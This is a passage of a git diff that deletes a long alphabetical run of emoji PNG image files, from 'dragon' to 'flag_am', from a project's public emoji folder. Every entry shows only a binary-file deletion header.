index ff98e15a747..00000000000
--- a/public/-/emojis/2/dragon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dragon_face.png b/public/-/emojis/2/dragon_face.png
deleted file mode 100644
index d84d4497d47..00000000000
--- a/public/-/emojis/2/dragon_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dress.png b/public/-/emojis/2/dress.png
deleted file mode 100644
index 739045f404b..00000000000
--- a/public/-/emojis/2/dress.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dromedary_camel.png b/public/-/emojis/2/dromedary_camel.png
deleted file mode 100644
index b3ccd69c509..00000000000
--- a/public/-/emojis/2/dromedary_camel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/drooling_face.png b/public/-/emojis/2/drooling_face.png
deleted file mode 100644
index 9c9ed4187ad..00000000000
--- a/public/-/emojis/2/drooling_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/droplet.png b/public/-/emojis/2/droplet.png
deleted file mode 100644
index 7f2e2d6b42b..00000000000
--- a/public/-/emojis/2/droplet.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/drum.png b/public/-/emojis/2/drum.png
deleted file mode 100644
index d3184c13164..00000000000
--- a/public/-/emojis/2/drum.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/duck.png b/public/-/emojis/2/duck.png
deleted file mode 100644
index 167ebfee018..00000000000
--- a/public/-/emojis/2/duck.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dumpling.png b/public/-/emojis/2/dumpling.png
deleted file mode 100644
index 51b78994875..00000000000
--- a/public/-/emojis/2/dumpling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/dvd.png b/public/-/emojis/2/dvd.png
deleted file mode 100644
index bf7f1f3f3fe..00000000000
--- a/public/-/emojis/2/dvd.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/e-mail.png b/public/-/emojis/2/e-mail.png
deleted file mode 100644
index 8db32987a4b..00000000000
--- a/public/-/emojis/2/e-mail.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/eagle.png b/public/-/emojis/2/eagle.png
deleted file mode 100644
index bb6d8814196..00000000000
--- a/public/-/emojis/2/eagle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ear.png b/public/-/emojis/2/ear.png
deleted file mode 100644
index 3ecdef4a658..00000000000
--- a/public/-/emojis/2/ear.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ear_of_rice.png b/public/-/emojis/2/ear_of_rice.png
deleted file mode 100644
index 02428c367ba..00000000000
--- a/public/-/emojis/2/ear_of_rice.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ear_tone1.png b/public/-/emojis/2/ear_tone1.png
deleted file mode 100644
index 9bfb7969e38..00000000000
--- a/public/-/emojis/2/ear_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ear_tone2.png b/public/-/emojis/2/ear_tone2.png
deleted file mode 100644
index 7eeb34fa25a..00000000000
--- a/public/-/emojis/2/ear_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ear_tone3.png b/public/-/emojis/2/ear_tone3.png
deleted file mode 100644
index 96de8ea07a0..00000000000
--- a/public/-/emojis/2/ear_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ear_tone4.png b/public/-/emojis/2/ear_tone4.png
deleted file mode 100644
index 9fe5b76d4f0..00000000000
--- a/public/-/emojis/2/ear_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ear_tone5.png b/public/-/emojis/2/ear_tone5.png
deleted file mode 100644
index 5f2489991c1..00000000000
--- a/public/-/emojis/2/ear_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/earth_africa.png b/public/-/emojis/2/earth_africa.png
deleted file mode 100644
index 221ed2f8d80..00000000000
--- a/public/-/emojis/2/earth_africa.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/earth_americas.png b/public/-/emojis/2/earth_americas.png
deleted file mode 100644
index 75c0ce6d77d..00000000000
--- a/public/-/emojis/2/earth_americas.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/earth_asia.png b/public/-/emojis/2/earth_asia.png
deleted file mode 100644
index 2b17ba7ba86..00000000000
--- a/public/-/emojis/2/earth_asia.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/egg.png b/public/-/emojis/2/egg.png
deleted file mode 100644
index 767b67a4978..00000000000
--- a/public/-/emojis/2/egg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/eggplant.png b/public/-/emojis/2/eggplant.png
deleted file mode 100644
index 0bccb4874d0..00000000000
--- a/public/-/emojis/2/eggplant.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/eight.png b/public/-/emojis/2/eight.png
deleted file mode 100644
index 6c85cb3f872..00000000000
--- a/public/-/emojis/2/eight.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/eight_pointed_black_star.png b/public/-/emojis/2/eight_pointed_black_star.png
deleted file mode 100644
index b5ed5c7783e..00000000000
--- a/public/-/emojis/2/eight_pointed_black_star.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/eight_spoked_asterisk.png b/public/-/emojis/2/eight_spoked_asterisk.png
deleted file mode 100644
index a8ef80f8153..00000000000
--- a/public/-/emojis/2/eight_spoked_asterisk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/eject.png b/public/-/emojis/2/eject.png
deleted file mode 100644
index 83a66de8c02..00000000000
--- a/public/-/emojis/2/eject.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/electric_plug.png b/public/-/emojis/2/electric_plug.png
deleted file mode 100644
index f37117f9183..00000000000
--- a/public/-/emojis/2/electric_plug.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/elephant.png b/public/-/emojis/2/elephant.png
deleted file mode 100644
index ab52cabb569..00000000000
--- a/public/-/emojis/2/elephant.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/elf.png b/public/-/emojis/2/elf.png
deleted file mode 100644
index 37ec2236f73..00000000000
--- a/public/-/emojis/2/elf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/elf_tone1.png b/public/-/emojis/2/elf_tone1.png
deleted file mode 100644
index c27ea6b2c55..00000000000
--- a/public/-/emojis/2/elf_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/elf_tone2.png b/public/-/emojis/2/elf_tone2.png
deleted file mode 100644
index 1d3360c3a13..00000000000
--- a/public/-/emojis/2/elf_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/elf_tone3.png b/public/-/emojis/2/elf_tone3.png
deleted file mode 100644
index 1b66fe73df3..00000000000
--- a/public/-/emojis/2/elf_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/elf_tone4.png b/public/-/emojis/2/elf_tone4.png
deleted file mode 100644
index 16ba5fc1c0a..00000000000
--- a/public/-/emojis/2/elf_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/elf_tone5.png b/public/-/emojis/2/elf_tone5.png
deleted file mode 100644
index fea316b9079..00000000000
--- a/public/-/emojis/2/elf_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/end.png b/public/-/emojis/2/end.png
deleted file mode 100644
index 06ad5d73962..00000000000
--- a/public/-/emojis/2/end.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/england.png b/public/-/emojis/2/england.png
deleted file mode 100644
index a771ab42529..00000000000
--- a/public/-/emojis/2/england.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/envelope.png b/public/-/emojis/2/envelope.png
deleted file mode 100644
index 85dafe3bca3..00000000000
--- a/public/-/emojis/2/envelope.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/envelope_with_arrow.png b/public/-/emojis/2/envelope_with_arrow.png
deleted file mode 100644
index 9c9f27086af..00000000000
--- a/public/-/emojis/2/envelope_with_arrow.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/euro.png b/public/-/emojis/2/euro.png
deleted file mode 100644
index 19b995a1cc8..00000000000
--- a/public/-/emojis/2/euro.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/european_castle.png b/public/-/emojis/2/european_castle.png
deleted file mode 100644
index d8ca259d422..00000000000
--- a/public/-/emojis/2/european_castle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/european_post_office.png b/public/-/emojis/2/european_post_office.png
deleted file mode 100644
index 93b30a40075..00000000000
--- a/public/-/emojis/2/european_post_office.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/evergreen_tree.png b/public/-/emojis/2/evergreen_tree.png
deleted file mode 100644
index a63625e0920..00000000000
--- a/public/-/emojis/2/evergreen_tree.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/exclamation.png b/public/-/emojis/2/exclamation.png
deleted file mode 100644
index 25ab70ea2d4..00000000000
--- a/public/-/emojis/2/exclamation.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/exploding_head.png b/public/-/emojis/2/exploding_head.png
deleted file mode 100644
index 06d0dbde282..00000000000
--- a/public/-/emojis/2/exploding_head.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/expressionless.png b/public/-/emojis/2/expressionless.png
deleted file mode 100644
index df8a4cb01c5..00000000000
--- a/public/-/emojis/2/expressionless.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/eye.png b/public/-/emojis/2/eye.png
deleted file mode 100644
index 45b9d0db824..00000000000
--- a/public/-/emojis/2/eye.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/eye_in_speech_bubble.png b/public/-/emojis/2/eye_in_speech_bubble.png
deleted file mode 100644
index ab1d5ccb96f..00000000000
--- a/public/-/emojis/2/eye_in_speech_bubble.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/eyeglasses.png b/public/-/emojis/2/eyeglasses.png
deleted file mode 100644
index 76e65ac17e5..00000000000
--- a/public/-/emojis/2/eyeglasses.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/eyes.png b/public/-/emojis/2/eyes.png
deleted file mode 100644
index afc25fb841b..00000000000
--- a/public/-/emojis/2/eyes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_palm.png b/public/-/emojis/2/face_palm.png
deleted file mode 100644
index 0c831b79c01..00000000000
--- a/public/-/emojis/2/face_palm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_palm_tone1.png b/public/-/emojis/2/face_palm_tone1.png
deleted file mode 100644
index 7238a1cd549..00000000000
--- a/public/-/emojis/2/face_palm_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_palm_tone2.png b/public/-/emojis/2/face_palm_tone2.png
deleted file mode 100644
index 0fdc7f357c5..00000000000
--- a/public/-/emojis/2/face_palm_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_palm_tone3.png b/public/-/emojis/2/face_palm_tone3.png
deleted file mode 100644
index 880caa39e74..00000000000
--- a/public/-/emojis/2/face_palm_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_palm_tone4.png b/public/-/emojis/2/face_palm_tone4.png
deleted file mode 100644
index ecd7eda0023..00000000000
--- a/public/-/emojis/2/face_palm_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_palm_tone5.png b/public/-/emojis/2/face_palm_tone5.png
deleted file mode 100644
index 87da65373bd..00000000000
--- a/public/-/emojis/2/face_palm_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_vomiting.png b/public/-/emojis/2/face_vomiting.png
deleted file mode 100644
index ae94242cd5e..00000000000
--- a/public/-/emojis/2/face_vomiting.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_with_hand_over_mouth.png b/public/-/emojis/2/face_with_hand_over_mouth.png
deleted file mode 100644
index 124e72952f4..00000000000
--- a/public/-/emojis/2/face_with_hand_over_mouth.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_with_monocle.png b/public/-/emojis/2/face_with_monocle.png
deleted file mode 100644
index 8e670811ca7..00000000000
--- a/public/-/emojis/2/face_with_monocle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_with_raised_eyebrow.png b/public/-/emojis/2/face_with_raised_eyebrow.png
deleted file mode 100644
index 3ac9f7cba1b..00000000000
--- a/public/-/emojis/2/face_with_raised_eyebrow.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/face_with_symbols_over_mouth.png b/public/-/emojis/2/face_with_symbols_over_mouth.png
deleted file mode 100644
index f53220b85a9..00000000000
--- a/public/-/emojis/2/face_with_symbols_over_mouth.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/factory.png b/public/-/emojis/2/factory.png
deleted file mode 100644
index 2db1d1da5c3..00000000000
--- a/public/-/emojis/2/factory.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fairy.png b/public/-/emojis/2/fairy.png
deleted file mode 100644
index 85639ec09f1..00000000000
--- a/public/-/emojis/2/fairy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fairy_tone1.png b/public/-/emojis/2/fairy_tone1.png
deleted file mode 100644
index 6d773975025..00000000000
--- a/public/-/emojis/2/fairy_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fairy_tone2.png b/public/-/emojis/2/fairy_tone2.png
deleted file mode 100644
index 5833be9dd4f..00000000000
--- a/public/-/emojis/2/fairy_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fairy_tone3.png b/public/-/emojis/2/fairy_tone3.png
deleted file mode 100644
index bd75eb21411..00000000000
--- a/public/-/emojis/2/fairy_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fairy_tone4.png b/public/-/emojis/2/fairy_tone4.png
deleted file mode 100644
index 0cffefe3e41..00000000000
--- a/public/-/emojis/2/fairy_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fairy_tone5.png b/public/-/emojis/2/fairy_tone5.png
deleted file mode 100644
index 2fd1c5181f2..00000000000
--- a/public/-/emojis/2/fairy_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fallen_leaf.png b/public/-/emojis/2/fallen_leaf.png
deleted file mode 100644
index a1e8093a8d9..00000000000
--- a/public/-/emojis/2/fallen_leaf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family.png b/public/-/emojis/2/family.png
deleted file mode 100644
index 0153a1dad02..00000000000
--- a/public/-/emojis/2/family.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_man_boy.png b/public/-/emojis/2/family_man_boy.png
deleted file mode 100644
index 36699dc2f9a..00000000000
--- a/public/-/emojis/2/family_man_boy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_man_boy_boy.png b/public/-/emojis/2/family_man_boy_boy.png
deleted file mode 100644
index eaba40e168f..00000000000
--- a/public/-/emojis/2/family_man_boy_boy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_man_girl.png b/public/-/emojis/2/family_man_girl.png
deleted file mode 100644
index 1f442f1fa1b..00000000000
--- a/public/-/emojis/2/family_man_girl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_man_girl_boy.png b/public/-/emojis/2/family_man_girl_boy.png
deleted file mode 100644
index fad87eade8f..00000000000
--- a/public/-/emojis/2/family_man_girl_boy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_man_girl_girl.png b/public/-/emojis/2/family_man_girl_girl.png
deleted file mode 100644
index fa76c8c2599..00000000000
--- a/public/-/emojis/2/family_man_girl_girl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_mmb.png b/public/-/emojis/2/family_mmb.png
deleted file mode 100644
index 70593213e48..00000000000
--- a/public/-/emojis/2/family_mmb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_mmbb.png b/public/-/emojis/2/family_mmbb.png
deleted file mode 100644
index 159a22e6b9b..00000000000
--- a/public/-/emojis/2/family_mmbb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_mmg.png b/public/-/emojis/2/family_mmg.png
deleted file mode 100644
index 42ca3c0997a..00000000000
--- a/public/-/emojis/2/family_mmg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_mmgb.png b/public/-/emojis/2/family_mmgb.png
deleted file mode 100644
index 8502b6b7bad..00000000000
--- a/public/-/emojis/2/family_mmgb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_mmgg.png b/public/-/emojis/2/family_mmgg.png
deleted file mode 100644
index a535c5c72cd..00000000000
--- a/public/-/emojis/2/family_mmgg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_mwbb.png b/public/-/emojis/2/family_mwbb.png
deleted file mode 100644
index 8f2961288a8..00000000000
--- a/public/-/emojis/2/family_mwbb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_mwg.png b/public/-/emojis/2/family_mwg.png
deleted file mode 100644
index d25793cfa41..00000000000
--- a/public/-/emojis/2/family_mwg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_mwgb.png b/public/-/emojis/2/family_mwgb.png
deleted file mode 100644
index c2fad0f3906..00000000000
--- a/public/-/emojis/2/family_mwgb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_mwgg.png b/public/-/emojis/2/family_mwgg.png
deleted file mode 100644
index 10a0d53d6d2..00000000000
--- a/public/-/emojis/2/family_mwgg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_woman_boy.png b/public/-/emojis/2/family_woman_boy.png
deleted file mode 100644
index 0caa1a7a09a..00000000000
--- a/public/-/emojis/2/family_woman_boy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_woman_boy_boy.png b/public/-/emojis/2/family_woman_boy_boy.png
deleted file mode 100644
index b2dae4ccfee..00000000000
--- a/public/-/emojis/2/family_woman_boy_boy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_woman_girl.png b/public/-/emojis/2/family_woman_girl.png
deleted file mode 100644
index 386f3d29fc8..00000000000
--- a/public/-/emojis/2/family_woman_girl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_woman_girl_boy.png b/public/-/emojis/2/family_woman_girl_boy.png
deleted file mode 100644
index 8520c400c7f..00000000000
--- a/public/-/emojis/2/family_woman_girl_boy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_woman_girl_girl.png b/public/-/emojis/2/family_woman_girl_girl.png
deleted file mode 100644
index ffc56dea981..00000000000
--- a/public/-/emojis/2/family_woman_girl_girl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_wwb.png b/public/-/emojis/2/family_wwb.png
deleted file mode 100644
index 1458d304fb5..00000000000
--- a/public/-/emojis/2/family_wwb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_wwbb.png b/public/-/emojis/2/family_wwbb.png
deleted file mode 100644
index 3a309730e3e..00000000000
--- a/public/-/emojis/2/family_wwbb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_wwg.png b/public/-/emojis/2/family_wwg.png
deleted file mode 100644
index 0e3e2ba42cf..00000000000
--- a/public/-/emojis/2/family_wwg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_wwgb.png b/public/-/emojis/2/family_wwgb.png
deleted file mode 100644
index 060079478ce..00000000000
--- a/public/-/emojis/2/family_wwgb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/family_wwgg.png b/public/-/emojis/2/family_wwgg.png
deleted file mode 100644
index 99811caba6a..00000000000
--- a/public/-/emojis/2/family_wwgg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fast_forward.png b/public/-/emojis/2/fast_forward.png
deleted file mode 100644
index 16efc125a19..00000000000
--- a/public/-/emojis/2/fast_forward.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fax.png b/public/-/emojis/2/fax.png
deleted file mode 100644
index dd26565b369..00000000000
--- a/public/-/emojis/2/fax.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fearful.png b/public/-/emojis/2/fearful.png
deleted file mode 100644
index 50244178f0b..00000000000
--- a/public/-/emojis/2/fearful.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/feet.png b/public/-/emojis/2/feet.png
deleted file mode 100644
index 2fe86dd694d..00000000000
--- a/public/-/emojis/2/feet.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/female_sign.png b/public/-/emojis/2/female_sign.png
deleted file mode 100644
index c2deb112c13..00000000000
--- a/public/-/emojis/2/female_sign.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fencer.png b/public/-/emojis/2/fencer.png
deleted file mode 100644
index 0f5887c072b..00000000000
--- a/public/-/emojis/2/fencer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ferris_wheel.png b/public/-/emojis/2/ferris_wheel.png
deleted file mode 100644
index c9ac55ec006..00000000000
--- a/public/-/emojis/2/ferris_wheel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ferry.png b/public/-/emojis/2/ferry.png
deleted file mode 100644
index eb5bb895f6f..00000000000
--- a/public/-/emojis/2/ferry.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/field_hockey.png b/public/-/emojis/2/field_hockey.png
deleted file mode 100644
index d4599a98fc6..00000000000
--- a/public/-/emojis/2/field_hockey.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/file_cabinet.png b/public/-/emojis/2/file_cabinet.png
deleted file mode 100644
index a5ebed9550a..00000000000
--- a/public/-/emojis/2/file_cabinet.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/file_folder.png b/public/-/emojis/2/file_folder.png
deleted file mode 100644
index 10cf7d76ea5..00000000000
--- a/public/-/emojis/2/file_folder.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/film_frames.png b/public/-/emojis/2/film_frames.png
deleted file mode 100644
index a0b3cff6503..00000000000
--- a/public/-/emojis/2/film_frames.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fingers_crossed.png b/public/-/emojis/2/fingers_crossed.png
deleted file mode 100644
index d655edd544f..00000000000
--- a/public/-/emojis/2/fingers_crossed.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fingers_crossed_tone1.png b/public/-/emojis/2/fingers_crossed_tone1.png
deleted file mode 100644
index 6c4f6fbe248..00000000000
--- a/public/-/emojis/2/fingers_crossed_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fingers_crossed_tone2.png b/public/-/emojis/2/fingers_crossed_tone2.png
deleted file mode 100644
index c4b4f1e5167..00000000000
--- a/public/-/emojis/2/fingers_crossed_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fingers_crossed_tone3.png b/public/-/emojis/2/fingers_crossed_tone3.png
deleted file mode 100644
index 7f3a2b73322..00000000000
--- a/public/-/emojis/2/fingers_crossed_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fingers_crossed_tone4.png b/public/-/emojis/2/fingers_crossed_tone4.png
deleted file mode 100644
index 67668560f82..00000000000
--- a/public/-/emojis/2/fingers_crossed_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fingers_crossed_tone5.png b/public/-/emojis/2/fingers_crossed_tone5.png
deleted file mode 100644
index 65419b82994..00000000000
--- a/public/-/emojis/2/fingers_crossed_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fire.png b/public/-/emojis/2/fire.png
deleted file mode 100644
index 27abd646ea7..00000000000
--- a/public/-/emojis/2/fire.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fire_engine.png b/public/-/emojis/2/fire_engine.png
deleted file mode 100644
index a6f8622ccfb..00000000000
--- a/public/-/emojis/2/fire_engine.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fire_extinguisher.png b/public/-/emojis/2/fire_extinguisher.png
deleted file mode 100644
index 00e5f9d97d3..00000000000
--- a/public/-/emojis/2/fire_extinguisher.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/firecracker.png b/public/-/emojis/2/firecracker.png
deleted file mode 100644
index 8209a647df0..00000000000
--- a/public/-/emojis/2/firecracker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fireworks.png b/public/-/emojis/2/fireworks.png
deleted file mode 100644
index 6a2406ff59d..00000000000
--- a/public/-/emojis/2/fireworks.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/first_place.png b/public/-/emojis/2/first_place.png
deleted file mode 100644
index bf3ad706237..00000000000
--- a/public/-/emojis/2/first_place.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/first_quarter_moon.png b/public/-/emojis/2/first_quarter_moon.png
deleted file mode 100644
index c3466352ef4..00000000000
--- a/public/-/emojis/2/first_quarter_moon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/first_quarter_moon_with_face.png b/public/-/emojis/2/first_quarter_moon_with_face.png
deleted file mode 100644
index 9e26e260ce1..00000000000
--- a/public/-/emojis/2/first_quarter_moon_with_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fish.png b/public/-/emojis/2/fish.png
deleted file mode 100644
index d1865b92628..00000000000
--- a/public/-/emojis/2/fish.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fish_cake.png b/public/-/emojis/2/fish_cake.png
deleted file mode 100644
index 8035605a214..00000000000
--- a/public/-/emojis/2/fish_cake.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fishing_pole_and_fish.png b/public/-/emojis/2/fishing_pole_and_fish.png
deleted file mode 100644
index 5fb26058d5e..00000000000
--- a/public/-/emojis/2/fishing_pole_and_fish.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fist.png b/public/-/emojis/2/fist.png
deleted file mode 100644
index 7327c9ead05..00000000000
--- a/public/-/emojis/2/fist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fist_tone1.png b/public/-/emojis/2/fist_tone1.png
deleted file mode 100644
index 8206fa738f7..00000000000
--- a/public/-/emojis/2/fist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fist_tone2.png b/public/-/emojis/2/fist_tone2.png
deleted file mode 100644
index 74ecd58d092..00000000000
--- a/public/-/emojis/2/fist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fist_tone3.png b/public/-/emojis/2/fist_tone3.png
deleted file mode 100644
index d79e305baf0..00000000000
--- a/public/-/emojis/2/fist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fist_tone4.png b/public/-/emojis/2/fist_tone4.png
deleted file mode 100644
index 7b05d7dc26a..00000000000
--- a/public/-/emojis/2/fist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fist_tone5.png b/public/-/emojis/2/fist_tone5.png
deleted file mode 100644
index ff75f51f9be..00000000000
--- a/public/-/emojis/2/fist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/five.png b/public/-/emojis/2/five.png
deleted file mode 100644
index f848b096f6e..00000000000
--- a/public/-/emojis/2/five.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ac.png b/public/-/emojis/2/flag_ac.png
deleted file mode 100644
index 038d8264e12..00000000000
--- a/public/-/emojis/2/flag_ac.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ad.png b/public/-/emojis/2/flag_ad.png
deleted file mode 100644
index 12cba157ef7..00000000000
--- a/public/-/emojis/2/flag_ad.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ae.png b/public/-/emojis/2/flag_ae.png
deleted file mode 100644
index 1be7cc2e63a..00000000000
--- a/public/-/emojis/2/flag_ae.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_af.png b/public/-/emojis/2/flag_af.png
deleted file mode 100644
index 161a0adc0d6..00000000000
--- a/public/-/emojis/2/flag_af.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ag.png b/public/-/emojis/2/flag_ag.png
deleted file mode 100644
index 9c72b1ff00f..00000000000
--- a/public/-/emojis/2/flag_ag.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ai.png b/public/-/emojis/2/flag_ai.png
deleted file mode 100644
index 91520600d19..00000000000
--- a/public/-/emojis/2/flag_ai.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_al.png b/public/-/emojis/2/flag_al.png
deleted file mode 100644
index 6f73d2e3b3f..00000000000
--- a/public/-/emojis/2/flag_al.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_am.png b/public/-/emojis/2/flag_am.png
deleted file mode 100644
index e88788198f8..00000000000
--- a/public/-/emojis/2/flag_am.png
+++ /dev/null
Binary files differ
